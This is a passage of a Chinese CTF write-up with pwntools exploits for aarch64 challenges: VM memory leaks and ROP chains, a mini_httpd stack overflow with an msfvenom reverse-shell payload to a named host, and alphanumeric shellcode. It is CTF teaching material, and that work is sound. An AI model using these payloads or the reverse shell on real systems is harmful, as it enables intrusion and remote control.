    for i in range(1000):
        try:
            p.send(b"a")
        except:
            end = time.time()
            time_used = int(end-start)
            print(f"[ROUND {curr_ch}] Time used:", end-start)
            print(f"[ROUND {curr_ch}] CHAR: '{chr(time_used)}' ({hex(time_used)})")
            lock.acquire()
            flag[curr_ch] = chr(time_used)
            lock.release()
            return
        finally:
            time.sleep(0.3)
    print(f"[ROUND {curr_ch}] ERROR")
    p.close()
    return

if __name__ == "__main__":
    pool = []
    for _round in range(33):
        th = threading.Thread(target=exp, args=(_round, ))
        th.setDaemon = True
        pool.append(th)
        th.start()
    for th in pool:
        th.join()
    flag = {k: v for k, v in sorted(flag.items(), key=lambda item: item[0])}    
    print(flag)
    flag_str = ""
    for k, v in flag.items():
        flag_str = flag_str + v
    print(flag_str)

Christmas Song

题目给了编译器源代码,./com目录下有词法和语法定义(lex+yacc)的源文件,从源文件逆出语法;

scanner.l

%{
#include "com/ast.h"
#define YYSTYPE ast_t *
#include <stdio.h>
#include "parser.h"
int line = 1;
%}
%option noyywrap


%%
";"             {return NEW_LINE;}
":"             {return NEXT;}
"is"            {yylval=ast_operator_init('=');return OPERATOR;}
"gift"          {return GIFT;}
"reindeer"      {return REINDEER;}
"equal to"      {yylval=ast_operator_init('?'); return OPERATOR;}
"greater than"  {yylval=ast_operator_init('>'); return OPERATOR;}
"if the gift"   {return IF;}
"delivering gift"    {return DELIVERING;}
"brings back gift"   {return BACK;}
"this family wants gift"                {return WANT;}
"ok, they should already have a gift;"  {return ENDWANT;}
"Brave reindeer! Fear no difficulties!" {yylval=ast_init_type(AST_AGAIN);return AGAIN;}

<<EOF>>         {return 0;}

[ ]             {/* empty */}
[\n]            {line++;}
[-+*/]          {yylval=ast_operator_init(yytext[0]); return OPERATOR;}
[a-zA-Z]+       {yylval=ast_word_init(yytext); return WORD;}
[0-9]+          {yylval=ast_number_init(yytext); return NUMBER;}
\"([^\"]*)\"    {yylval=ast_string_init(yytext); return STRING;}
(#[^#]*#)       {/* empty */}
%%

void yyerror(ast_t **modlue,const char *msg) {
    printf("\nError at %d: %s\n\t%s\n", line, yytext, msg);
    exit(1);
}

parser.y

%{
#include "com/ast.h"
#define YYSTYPE ast_t *
#include <stdio.h>
extern int yylex (void);
void yyerror(ast_t **modlue, const char*);
%}

%parse-param { ast_t **module}

%token GIFT REINDEER DELIVERING BACK STRING
%token WORD NEW_LINE NUMBER OPERATOR
%token AGAIN IF WANT ENDWANT NEXT 


%%
proprame    :   stmts   
                {$$ = *module = $1;}
            ;
stmts   :   stmt 
                {$$ = ast_init(AST_STMT, 1, $1);}
        |   stmts stmt
                {$$ = ast_add_child($1, $2);}
        ;
stmt    :   call_expr 
        |   want_stmt
        |   var_expr NEW_LINE
                {$$ = $1;} 
        ;

want_stmt :     WANT WORD lists ENDWANT  
                {$$ = ast_init(AST_WANT, 2, $2, $3);}
        ;

lists    :  list 
                {$$ = ast_init(AST_LISTS, 1, $1);}
        |  lists list 
                {$$ = ast_add_child($1, $2);}
        ;

list    :  IF OPERATOR expr NEXT stmts
                {$$ = ast_init(AST_LIST, 3, $2, $3, $5);}
        | list AGAIN 
                {$$ = ast_add_child($1, $2);}

call_expr   : call_expr BACK WORD NEW_LINE 
                {$$ = ast_add_child($1, $3);}
            | call_expr NEW_LINE 
                {$$ = $1;}
            | REINDEER WORD DELIVERING WORD WORD WORD  
                {$$ = ast_init(AST_FUNCTION, 4, $2, $4, $5, $6);}
            ;

var_expr    : GIFT expr  
                {$$=$2;}
            ;

expr    :   expr OPERATOR expr    
                {$$=ast_init(AST_EXPR, 3, $1, $2, $3);}
        |   WORD               
                {$$=$1;}
        |   NUMBER             
                {$$=$1;}
        |   STRING 
                {$$=$1;}
        ;
%%

这个编译器实际上将源文件编译成了一个虚拟指令集构成的二进制文件,使用-r参数可以放到vm里面运行,检查了一下vm主要利用点在这:

void vm_opcode_call(arg){
    char *func = get_word;
    u_int64_t arg3 = pop;
    u_int64_t arg2 = pop;
    u_int64_t arg1 = pop;
    u_int64_t ret;

    if (is_func("Rudolph")){
        // ret = write(arg1, arg2, arg3);
        // No talking while singing Christmas Songs
        printf("error: \n%s\n", rudolph);
    }
    if (is_func("Dasher")){
        ret = read(arg1, arg2, arg3);
    }
    if (is_func("Dancer")){
        ret = open(arg1, arg2, arg3);
        if((int)ret < 0){
            printf("error con't open file %s\n", arg1);
            exit(EXIT_FAILURE);
        }
    }
    if (is_func("Prancer")){
        ret = strncmp(arg1, arg2, arg3);
    }
    if (is_func("Vixen")){
        ret = memcpy(arg1, arg2, arg3);
    }
    push(ret);
}
  1. 给了open和read,虽然没给wirte,但是可以从open的参数报错把flag打印出来;
  2. 构造利用的时候关键点在于leak,观察可以发现vm_opcode_call里面的局部变量ret没有初始化,也就是说首次进入vm_opcode_call只要不触发任何内置函数,就可以把ret的值泄露出来;泄露出来是一个堆上的可写地址,加偏移找一块空地作为BUF;
  3. 往BUF读文件名,然后读FLAG到BUF上,最后通过报错打印即可拿到FLAG
  • 1.slang
gift NULL is 0;
gift FD is 0;
gift C is 4096;
gift RN is 32;
gift E is 0;
reindeer EQQIE delivering gift NULL NULL NULL brings back gift LEAK;
gift BUF is LEAK+12288;

reindeer Dasher delivering gift FD BUF RN;

reindeer Dancer delivering gift BUF NULL NULL brings back gift FILEFD;
gift FLAGLEN is 30;
reindeer Dasher delivering gift FILEFD BUF FLAGLEN;
reindeer Dancer delivering gift BUF NULL NULL;
  • remote.py
from pwn import *

p = remote("124.71.144.133", 2144)
#p = process(["python3", "server.py"])
context.log_level = "debug"

with open("./1.slang", "rb") as f:
    p.sendline(f.read())
p.sendline(b"EOF")

pause(1)
p.send(b"/home/ctf/flag\x00")
#p.shutdown("send")

p.interactive()

Christmas Bash

相比于上一题题目恢复了 write 调用:

if (is_func("Rudolph")){
    ret = write(arg1, arg2, arg3);
    // No talking while singing Christmas Songs
    // printf("error: \n%s\n", rudolph);
}

并且预设了一个名为sleep的变量,该变量保存了sleep函数的地址(位于libc):

gift_t * gift = gift_init("sleep", sleep);
runtime_set_gift(r, gift);

个人的非预期解法:

  1. 与之前相同,通过未初始化的 ret 泄露出堆地址;借助 sleep 函数可以得到 libc 地址
  2. 目标是打 vm_lambda_call 的返回地址进行 rop,于是想要泄露 environ
  3. 但是这个语言没有提供解引用的功能,计算出 environ 的地址后不能很方便的把里面的值读到某个变量
  4. 由于 strncmp 在比较两个不相等字符时会做减法然后返回差值,于是只要用一个空字串和 environ 逐字节比较就可以一个一个字节泄露出栈地址
  5. 泄露出栈地址后计算 vm_lambda_call 的返回地址,这里注意,参数个数不同会导致初始化栈上指针数量不通,从而导致栈偏移不同,写 exp 测试的时候应该按照加了 -r 参数的命令行来测试
  6. 计算各种 gadget 地址并保存到变量,计算出这些变量在堆上的地址(这一步堆布局是动态变化的,和语法树大小有关);将这个地址和目标栈地址放到 memncpy 进行拷贝,布置 ROP 链
  7. 结束程序前输出一次 "hello" ,这样才能进到第二次执行,在第一次执行的时候输出是被关掉的(两次执行的输入输出都被关掉了,所以EXP没有采用交互方式)
result = subprocess.check_output("/home/ctf/Christmas_Bash -r {} < /dev/null".format(filename), shell=True)
if (result.decode() == "hello"):
    socket_print("wow, that looks a bit unusual, I'll try to decompile it and see.")
    os.system("/home/ctf/Christmas_Bash -r {} -d {} < /dev/null".format(filename, filename))
else:
    socket_print("Hahahahahahahahahahahahaha, indeed, you should also continue to learn Christmas songs!")
clean(filename);
  1. 最开始做的时候考虑到第一次不能读出flag导致无法进入第二次有输出的执行,于是借助了一个随机地址的字节,通过判断这个字节和127的大小关系可以得到一个二分之一的概率,总体而言就有四分之一的概率可以拿到flag(后来发现栈偏移问题后才知道这一步是多余的...一度以为这是考点)

exp.slang

gift NULL is 0;
gift NULSTR is "";
gift STDIN is 0;
gift STDOUT is 1;
gift RN is 32;
gift WNLEAK is 8;
gift CMPLEN is 1;
gift SHIFT is 256;
gift HELLO is "hello";
gift HELLOLEN is 5;

reindeer EQQIE delivering gift NULL NULL NULL brings back gift LEAK;
gift HEAPBASE is LEAK-1152;
gift BUF is HEAPBASE+12288;
gift LIBCBASE is sleep-972880;
gift EXECVE is LIBCBASE+975632;
gift ENVIRON is LIBCBASE+2232000;
gift TMP is ENVIRON;
gift STACKLEAK is 0;


reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is BYTELEAK+STACKLEAK*1;
reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is STACKLEAK+BYTELEAK*256;
reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift RANDBYTE is BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is STACKLEAK+BYTELEAK*256*256;
reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is STACKLEAK+BYTELEAK*256*256*256;
reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is STACKLEAK+BYTELEAK*256*256*256*256;
reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is STACKLEAK+BYTELEAK*256*256*256*256*256;

gift MAINRET is STACKLEAK-1200;
gift MAINRETA is MAINRET+8;
gift MAINRETB is MAINRET+16;
gift MAINRETC is MAINRET+24;
gift MAINRETD is MAINRET+32;
gift MAINRETE is MAINRET+40;
gift MAINRETF is MAINRET+48;
gift POPRDIRET is LIBCBASE+190149;
gift POPRSIRET is LIBCBASE+196737;
gift POPRDXRET is LIBCBASE+1180274;
gift CMD is "/home/ctf/getflag";
gift EXECVEPTR is HEAPBASE+9768;
gift GADGETAPTR is HEAPBASE+10600;
gift GADGETBPTR is HEAPBASE+10600+32;
gift GADGETCPTR is HEAPBASE+10600+64;
gift CMDPTR is HEAPBASE+10696;

reindeer Dasher delivering gift STDIN BUF NULL;

gift AAAA is 0;
gift BBBB is 0;
gift CCCC is 0;
gift DDDD is 0;
gift EEEE is 0;
gift FFFF is 0;
gift GGGG is 0;

this family wants gift AAAA if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRET GADGETAPTR WNLEAK 
ok, they should already have a gift;

this family wants gift BBBB if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETA CMDPTR WNLEAK;
ok, they should already have a gift;

this family wants gift CCCC if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETB GADGETBPTR WNLEAK;
ok, they should already have a gift;

this family wants gift DDDD if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETC NULSTR WNLEAK;
ok, they should already have a gift;

this family wants gift EEEE if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETD GADGETCPTR WNLEAK;
ok, they should already have a gift;

this family wants gift FFFF if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETE NULSTR WNLEAK;
ok, they should already have a gift;

this family wants gift GGGG if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETF EXECVEPTR WNLEAK;
ok, they should already have a gift;


reindeer Rudolph delivering gift STDOUT HELLO HELLOLEN;

exp.py

from pwn import *
# context.log_level = "debug"

while True:
    p = remote("121.36.254.255", 2155)
    
    p.recvuntil(b"please input your flag url:")
    p.sendline(b"http://app.eqqie.cn/3.scom")
    p.interactive()

两个题都是aarch64

Master of HTTPD

分析

IoT题,aarch64,题目修改了mini_httpd的身份验证部分,加了一个输出认证信息的函数——没留意终端STDOUT...这里耽误了点时间。mini_httpd的源码可以在官网下载。

新加的函数在0x4046D0,base64完后的拷贝有栈溢出,刚好也比较好控制X30寄存器中的返回地址。

程序里面有个挺好用的万能gadget,就是控制起来麻烦点,好在bss段地址已知且内容可控,使得X19可以通过X29间接控制:

ext:0000000000407D78 loc_407D78                              ; CODE XREF: sub_407D30+64↓j
.text:0000000000407D78                 LDR             X3, [X21,X19,LSL#3]
.text:0000000000407D7C                 MOV             X2, X24
.text:0000000000407D80                 MOV             X1, X23
.text:0000000000407D84                 MOV             W0, W22
.text:0000000000407D88                 ADD             X19, X19, #1
.text:0000000000407D8C                 BLR             X3
.text:0000000000407D90                 CMP             X20, X19
.text:0000000000407D94                 B.NE            loc_407D78
.text:0000000000407D98                 LDR             X19, [X29,#0x10]
.text:0000000000407D9C
.text:0000000000407D9C loc_407D9C                              ; CODE XREF: sub_407D30+3C↑j
.text:0000000000407D9C                 LDP             X20, X21, [SP,#0x18]
.text:0000000000407DA0                 LDP             X22, X23, [SP,#0x28]
.text:0000000000407DA4                 LDR             X24, [SP,#0x38]
.text:0000000000407DA8                 LDP             X29, X30, [SP],#0x40
.text:0000000000407DAC                 RET

借助这个gadget先mprotect再执行shellcode。

为了触发http身份验证需要找到一个包含了 .htpasswd 文件的子目录。用dirsearch扫了一下发现http://xxx:xxx/admin/会请求身份验证,并且似乎只支持Basic验证方式。

由于题目是socket连接,STDIN和STDOUT不能直接控制,所以要去msf搞个反弹shell payload: msfvenom -a aarch64 -p linux/aarch64/shell/reverse_tcp lhost=139.224.195.57 lport=10005 -f base64

shellcode可以写在bss段上用来储存http请求的缓冲区

调试

HTTPD程序会有两次fork。第一次是如果没加 -D 进入daemon模式,程序会fork一个子进程然后kill掉父进程,这时候如果我们在attach到qemu的远程调试端口时下的断点会失效。不过这个好解决,启动参数加上-D就好了。

第二次是accept到一个新的客户端请求时会fork出一个子进程去 handle_request(),然后父进程close掉客户端的文件描述符继续循环accept...这里也会导致gdb断掉,可以在ida里面把fork后的逻辑改一下,让父进程去 handle_request() 即可。

EXP

from pwn import *
from base64 import b64encode, b64decode

context.arch = "aarch64"
context.os = "linux"
context.log_level = "debug"

fmt = '''GET /admin/ HTTP/1.1
Host: 127.0.0.1:80
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: 111111115.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.43
Authorization: Basic '''

def set_pack(payload:bytes):
    return fmt.encode()+b64encode(payload)+b"\n\n"

# base: 0x400000
perfet_gadget = '''
ext:0000000000407D78 loc_407D78                              ; CODE XREF: sub_407D30+64↓j
.text:0000000000407D78                 LDR             X3, [X21,X19,LSL#3]
.text:0000000000407D7C                 MOV             X2, X24
.text:0000000000407D80                 MOV             X1, X23
.text:0000000000407D84                 MOV             W0, W22
.text:0000000000407D88                 ADD             X19, X19, #1
.text:0000000000407D8C                 BLR             X3
.text:0000000000407D90                 CMP             X20, X19
.text:0000000000407D94                 B.NE            loc_407D78
.text:0000000000407D98                 LDR             X19, [X29,#0x10]
.text:0000000000407D9C
.text:0000000000407D9C loc_407D9C                              ; CODE XREF: sub_407D30+3C↑j
.text:0000000000407D9C                 LDP             X20, X21, [SP,#0x18]
.text:0000000000407DA0                 LDP             X22, X23, [SP,#0x28]
.text:0000000000407DA4                 LDR             X24, [SP,#0x38]
.text:0000000000407DA8                 LDP             X29, X30, [SP],#0x40
.text:0000000000407DAC                 RET
'''
arg_start = 0x423680
popen_gadget = 0x4062C4

dup2 = 0x401EA0
mprotect = 0x401F20

def exp():
    p = remote("39.106.54.108", 30002)
    payload = b"A"*0x100+p64(arg_start)+p64(0x407D98) # x29 x30
    payload += p64(0xdeadbeef)*2
    #===
    payload += p64(arg_start) + p64(0x407D78) # x29 x30
    payload += p64(0xdeadbeef) # padding
    payload += p64(1) + p64(arg_start) # x20 x21
    payload += p64(0x41c000) + p64(0x15000) # x22 x23
    payload += p64(7) # x24
    #===
    payload += p64(arg_start) + p64(arg_start+0x20) # x29 x30
    
    pack = set_pack(payload).ljust(0x400, b"\x00")
    # args
    f = {}
    f[0x0] = p64(mprotect)
    f[0x10] = p64(0) #x19
    f[0x18] = p64(0) #padding
    pack += fit(f) + b64decode(b"QACA0iEAgNICAIDSyBiA0gEAANTjAwCqQQMAEAICgNJoGYDSAQAA1GACADXgAwOqAgCA0gEAgNIIA4DSAQAA1CEAgNIIA4DSAQAA1EEAgNIIA4DSAQAA1IABABACAIDS4AMA+eIHAPnhAwCRqBuA0gEAANQAAIDSqAuA0gEAANQCACcVi+DDOS9iaW4vc2gAAAAAAAAAAAA=")
    p.send(pack)

    p.interactive()
if __name__ == "__main__":
    exp()

exsc

题目要求写一个三个页内的 aarch64 alphanumeric shellcode

理论

有相关论文 - 《ARMv8 Shellcodes from ‘A’ to ‘Z’》:https://arxiv.org/pdf/1608.03415.pdf,但是没找到现成的轮子

论文前面大半部分都在讲构造原理,主要是如何构造完成各种功能的原语,然后将这些原语组合起来实现更复杂的功能

附录是实现模板,可以改来用:

一个是encoder,PHP写的:

encoder.php

<?php
function mkchr($c) {
    return(chr(0x40 + $c));
}

$s = file_get_contents('shellcode.bin.tmp');
$p = file_get_contents('raw_shellcode.bin');
$b = 0x60; /* Synchronize with pool */

for($i=0; $i <strlen($p); $i++)
{
    $q = ord($p[$i]);
    $s[$b+2*$i ] = mkchr(($q >> 4) & 0xF);
    $s[$b+2*$i+1] = mkchr( $q & 0xF);
}

$s = str_replace('@', 'P', $s);
file_put_contents('shellcode.bin', $s);

echo 'done';
?>

另一个是decoder+内嵌payload,使用m4语法来描述,需要自己转换成可以用的shellcode指令

decoder.m4

divert (-1)
changequote ({,})
define ({LQ},{ changequote(‘,’){dnl}
changequote ({,})})
define ({RQ},{ changequote(‘,’)dnl{
}changequote ({,})})
changecom ({;})
define ({ concat},{$1$2})dnl
define ({ repeat}, {ifelse($1, 0, {}, $1, 1, {$2},
{$2
repeat(eval($1 -1), {$2})})})
define ({P}, 10)
define ({Q}, 11)
define ({S}, 2)
define ({A}, 18)
define ({B}, 25)
define ({U}, 26)
define ({Z}, 19)
define ({WA}, concat(W,A))
define ({WB}, concat(W,B))
define ({WP}, concat(W,P))
define ({XP}, concat(X,P))
define ({WQ}, concat(W,Q))
define ({XQ}, concat(X,Q))
define ({WS}, concat(W,S))
define ({WU}, concat(W,U))
define ({WZ}, concat(W,Z))
divert (0) dnl
/* Set P */
l1: ADR XP, l1+0 b010011000110100101101
/* Sync with pool */
SUBS WP, WP, #0x98 , lsl #12
SUBS WP, WP, #0xD19
/* Set Q */
l2: ADR XQ, l2+0 b010011000110001001001
/* Sync with TBNZ */
SUBS WQ, WQ, #0x98 , lsl #12
ADDS WQ, WQ, #0xE53
ADDS WQ, WQ, #0xC8C
/* Z:=0 */
ANDS WZ, WZ, WZ, lsr #16
ANDS WZ, WZ, WZ, lsr #16
/* S:=0 */
ANDS WS, WZ, WZ, lsr #12
/* Branch to code */
loop: TBNZ WS, #0b01011 , 0b0010011100001100
/* Load first byte in A */
LDRB WA, [XP, #76]
/* Load second byte in B */
LDRB WB, [XP, #77]
/* P+=2 */
ADDS WP, WP, #0xC1B
SUBS WP, WP, #0xC19
/* Mix A and B */
EON WA , WZ , WA , lsl #20
/* ANDS WB , WB, #0 xFFFF000F */
.word 0x72304C00 +33*B
EON WB , WB , WA , lsr #16
/* STRB B, [Q] */
STRB WB, [XQ, WZ, uxtw]
/* Q++ */
ADDS WQ, WQ, #0xC1A
SUBS WQ, WQ, #0xC19
/* S++ */
ADDS WS, WS, #0xC1A
SUBS WS, WS, #0xC19
TBZ WZ , #0b01001 , next
pool: repeat (978, {.word 0x42424242 })
/* NOPs */
next: repeat( 77, {ANDS WU, WU, WU, lsr #12})
TBZ WZ , #0b01001 , loop

解题

test.py

用于生成payload文件:decoder.txt
from pwn import *
from base64 import b64decode

context.arch = "aarch64"
#context.log_level = "debug"

#execve_sh = b'\xeeE\x8c\xd2.\xcd\xad\xf2\xee\xe5\xc5\xf2\xeee\xee\xf2\x0f\r\x80\xd2\xee?\xbf\xa9\xe0\x03\x00\x91\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xa8\x1b\x80\xd2\x01\x00\x00\xd4'
cat_flag = '''
/* push b'flag\x00' */
/* Set x14 = 1734437990 = 0x67616c66 */
mov x0, #0x1000
movk x0, #0x1000, lsl #16
movk x0, #0, lsl #0x20
movk x0, #0, lsl #0x30
mov sp, x0
mov x14, #27750
movk x14, #26465, lsl #16
str x14, [sp, #-16]!
/* call openat(-0x64, 'sp', 'O_RDONLY', 'x3') */
/* Set x0 = -100 = -0x64 */
mov x0, #65436
movk x0, #65535, lsl #16
movk x0, #65535, lsl #0x20
movk x0, #65535, lsl #0x30
mov x1, sp
mov x2, xzr
mov x8, #56
svc 0
/* call sendfile(1, 'x0', 0, 0x7fffffff) */
mov x1, x0
mov x0, #1
mov x2, xzr
/* Set x3 = 2147483647 = 0x7fffffff */
mov x3, #65535
movk x3, #32767, lsl #16
mov x8, #71
svc 0
'''
cat_flag = asm(cat_flag)
with open("./raw_shellcode.bin", "wb") as f:
    f.write(cat_flag)

decode_fmt_1 = '''
l1: ADR XP, l1+0 b010011000110100101101
/* Sync with pool */
SUBS WP, WP, #0x98 , lsl #12
SUBS WP, WP, #0xD19
/* Set Q */
l2: ADR XQ, l2+0 b010011000110001001001
/* Sync with TBNZ */
SUBS WQ, WQ, #0x98 , lsl #12
ADDS WQ, WQ, #0xE53
ADDS WQ, WQ, #0xC8C
/* Z:=0 */
ANDS WZ, WZ, WZ, lsr #16
25
ANDS WZ, WZ, WZ, lsr #16
/* S:=0 */
ANDS WS, WZ, WZ, lsr #12
/* Branch to code */
loop: TBNZ WS, #0b01011 , 0b0010011100001100
/* Load first byte in A */
LDRB WA, [XP, #76]
/* Load second byte in B */
LDRB WB, [XP, #77]
/* P+=2 */
ADDS WP, WP, #0xC1B
SUBS WP, WP, #0xC19
/* Mix A and B */
EON WA , WZ , WA , lsl #20
/* ANDS WB , WB, #0 xFFFF000F */
.word 0x72304C00 +33*B
EON WB , WB , WA , lsr #16
/* STRB B, [Q] */
STRB WB, [XQ, WZ, uxtw]
/* Q++ */
ADDS WQ, WQ, #0xC1A
SUBS WQ, WQ, #0xC19
/* S++ */
ADDS WS, WS, #0xC1A
SUBS WS, WS, #0xC19
TBZ WZ , #0b01001 , next
repeat (978, {.word 0x42424242 })
/* NOPs */
next: repeat( 77, {ANDS WU, WU, WU, lsr #12})
TBZ WZ , #0b01001 , loop
'''

# 解m4
decode_fmt_1 = decode_fmt_1.replace("WA", "W18")
decode_fmt_1 = decode_fmt_1.replace("WB", "W25")
decode_fmt_1 = decode_fmt_1.replace("WP", "W10")
decode_fmt_1 = decode_fmt_1.replace("XP", "X10")
decode_fmt_1 = decode_fmt_1.replace("WQ", "W11")
decode_fmt_1 = decode_fmt_1.replace("XQ", "X11")
decode_fmt_1 = decode_fmt_1.replace("WS", "W2")
decode_fmt_1 = decode_fmt_1.replace("WU", "W26")
decode_fmt_1 = decode_fmt_1.replace("WZ", "W19")

print(decode_fmt_1)

# 构造decoder
decoder = '''
l1: ADR X10, l1+0b010011000110100101101;
    SUBS W10, W10, #0x98 , lsl #12;
    SUBS W10, W10, #0xD19;
l2: ADR X11, l2+0b010011000110001001001;
    SUBS W11, W11, #0x98 , lsl #12;
    ADDS W11, W11, #0xE53;
    ADDS W11, W11, #0xC8C;
    ANDS W19, W19, W19, lsr #16;
    ANDS W19, W19, W19, lsr #16;
    ANDS W2, W19, W19, lsr #12;
loop: TBNZ W2, #0b01011 , 0b0010011100001100;
    LDRB W18, [X10, #76];
    LDRB W25, [X10, #77];
    ADDS W10, W10, #0xC1B;
    SUBS W10, W10, #0xC19;
    EON W18 , W19 , W18 , lsl #20;
    .word 0x72304f39;
    EON W25 , W25 , W18 , lsr #16;
    STRB W25, [X11, W19, uxtw];
    ADDS W11, W11, #0xC1A;
    SUBS W11, W11, #0xC19;
    ADDS W2, W2, #0xC1A;
    SUBS W2, W2, #0xC19;
    TBZ W19, #0b01001 , next;
'''
decoder += "    .word 0x42424242;\n"*978
decoder += "next:\n"
decoder += "    ANDS W26, W26, W26, lsr #12;\n"*77
decoder += "    TBZ W19 , #0b01001, loop;\n"

payload = asm(decoder).decode()
print(payload)
print("Len:", hex(len(payload)))

# ss由论文给的PHP脚本编码上面生成的 raw_shellcode.bin 后所得
ss = "PPPPHBMBPPPPJBOBPPPPLPOBPPPPNPOBAOPPPPIALNHLHMMBBNNLJLOBNNPOAOOHHPOCIOMBNPOOKOOBNPOOMOOBNPOOOOOBNAPCPPIANBPCAOJJPHPGHPMBPAPPPPMDNAPCPPJJBPPPHPMBNBPCAOJJNCOOIOMBNCOOJOOBNHPHHPMBPAPPPPMD"
# 嵌入 decoder 的 pool 部分
payload = payload[:payload.find("BBBBB")]+ss+payload[payload.find("BBBBB")+len(ss):]
print(payload)
print("Len:", hex(len(payload)))
with open("decoder.txt", "w") as f:
    # padding & save
    f.write(payload.ljust(0x2fff, "A"))

注意写到输出文件之前要padding到三个页的大小,由于题目使用mmap映射payload,如果大小不够会导致写后面的页时缺页异常无法正确处置从而触发段错误(被这玩意坑了几个小时

payload传到网站目录下让服务器去下载

exp.py

与远程交互
from pwn import *
import os
import string

context.arch = "aarch64"
context.log_level = "debug"

p = remote("39.106.54.108", 30004)
p.recvuntil(b"Enter one result of `")
cmd = p.recvuntil(b"`", drop=True)
res = os.popen(cmd.decode()).read()
p.send(res)
p.sendlineafter(b"shellcode url: ", b"http://app.eqqie.cn/decoder.txt")
p.interactive()

调试技巧

GDB+QEMU调试aarch64 shellcode会经常出各种问题导致无法继续单步下去,可以尝试手写unicorn调试器然后构造一个相似的上下文来单步分析——对于和解码相关的shellcode题特别有用。

这是我调试时用的脚本:

#!/usr/bin/env python
import sys
#sys.path = ['./site_pack']+sys.path
from pwn import *
import os
import struct
import types
from unicorn import *
from unicorn.arm64_const import *

context.arch = 'aarch64'

CODE = 0x10000000
STACK = 0x4000812000

main = b""
with open("decoder.txt", "rb") as f:
    main = f.read()

def setregs(uc):
    # 重建上下文
    uc.reg_write(UC_ARM64_REG_X0,0x0000000010000000)
    uc.reg_write(UC_ARM64_REG_X1,0x0000000000000001)
    uc.reg_write(UC_ARM64_REG_X2,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X3,0x00000040009b9500)
    uc.reg_write(UC_ARM64_REG_X4,0x00000000fbad2a84)
    uc.reg_write(UC_ARM64_REG_X5,0x0000000000000003)
    uc.reg_write(UC_ARM64_REG_X6,0x000000000000021a)
    uc.reg_write(UC_ARM64_REG_X7,0x0000000000000010)
    uc.reg_write(UC_ARM64_REG_X8,0x0000000000000040)
    uc.reg_write(UC_ARM64_REG_X9,0x00000000000003f3)
    uc.reg_write(UC_ARM64_REG_X10,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X11,0x0000000000000038)
    uc.reg_write(UC_ARM64_REG_X12,0x00000040008133c8)
    uc.reg_write(UC_ARM64_REG_X13,0x0000000000000002)
    uc.reg_write(UC_ARM64_REG_X14,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X15,0x0000000000000410)
    uc.reg_write(UC_ARM64_REG_X16,0x00000040008b8290)
    uc.reg_write(UC_ARM64_REG_X17,0x0000004000828540)
    uc.reg_write(UC_ARM64_REG_X18,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X19,0x0000004000000958)
    uc.reg_write(UC_ARM64_REG_X20,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X21,0x0000004000000740)
    uc.reg_write(UC_ARM64_REG_X22,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X23,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X24,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X25,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X26,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X27,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X28,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X29,0x00000040008123f0)
    uc.reg_write(UC_ARM64_REG_X30,0x000000400000094c)
    uc.reg_write(UC_ARM64_REG_SP,0x00000040008123f0)


def debug_hook(uc, address, size, user_data):
    pc = uc.reg_read(UC_ARM64_REG_PC)
    print(f"pc[{hex(pc)}] => {disasm(uc.mem_read(pc,0x4))}")
    print(f"target[{hex(0x10002734)}]:\n {disasm(uc.mem_read(0x10002734,0x50))}")
    print('x18 : ',hex(uc.reg_read(UC_ARM64_REG_X18)))
    print('x25 : ',hex(uc.reg_read(UC_ARM64_REG_X25)))
    print('x10 : ',hex(uc.reg_read(UC_ARM64_REG_X10)))
    print('x11 : ',hex(uc.reg_read(UC_ARM64_REG_X11)))
    print('x2 : ',hex(uc.reg_read(UC_ARM64_REG_X2)))
    print('x26 : ',hex(uc.reg_read(UC_ARM64_REG_X26)))
    print('x19 : ',hex(uc.reg_read(UC_ARM64_REG_X19)))
    

def init(uc):
    uc.mem_map(CODE, 0x4000, UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC)
    uc.mem_write(CODE, main)
    uc.mem_map(STACK, 0x4000, UC_PROT_READ | UC_PROT_WRITE)
    uc.mem_write(STACK, b'hello\n')

    setregs(uc)
    #uc.hook_add(UC_HOOK_CODE, debug_hook, None, CODE+0x0, CODE+0x60)
    uc.hook_add(UC_HOOK_CODE, debug_hook, None, CODE+0x10e0, CODE+0x3000)


def play():
    uc = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
    init(uc)
    try:
        uc.emu_start(CODE, CODE + 0x3000)
    except UcError as e:
        print("error...")
        print(e)
        pc = uc.reg_read(UC_ARM64_REG_PC)
        print('pc : ',hex(pc))
        print('x18 : ',hex(uc.reg_read(UC_ARM64_REG_X18)))
        print('x25 : ',hex(uc.reg_read(UC_ARM64_REG_X25)))
